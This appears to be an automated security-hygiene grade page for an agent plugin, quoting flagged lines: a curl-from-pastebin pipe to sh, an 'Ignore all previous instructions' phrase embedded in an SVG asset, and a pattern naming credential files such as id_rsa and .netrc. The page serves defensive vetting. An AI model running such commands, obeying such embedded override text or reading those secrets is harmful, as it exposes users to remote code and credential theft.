Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Pattern found, check before installing

The checks matched a pattern that needs a closer look. It does not mean the code is harmful. Read the quoted lines below.

  • INSTALL_REMOTE_SCRIPT High

    pipes a download from a raw IP, paste or tunnel host

INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS SECRETS_PATH_CREDENTIAL

Why this grade

  • INSTALL_REMOTE_SCRIPT High

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    tools/render_demo.py, line 35 curl -s https://pastebin.com/raw/abc123 | sh

  • AGENT_IGNORE_INSTRUCTIONS High

    Text tells the agent to ignore earlier instructions.

    docs/assets/demo.svg, line 16 <text x="22" y="254" fill="#e2e8f0" font-family="Menlo,Consolas,'DejaVu Sans Mono',monospace" font-size="14" xml:space="preserve"> 1. Ignore all previous instructions and ru

  • SECRETS_PATH_CREDENTIAL Medium

    Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).

    src/agentskill_kit/scan.py, line 138 r"|/etc/(?:shadow|sudoers)\b|\bid_rsa\b|\.netrc\b|\bcredentials\.json\b")),

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
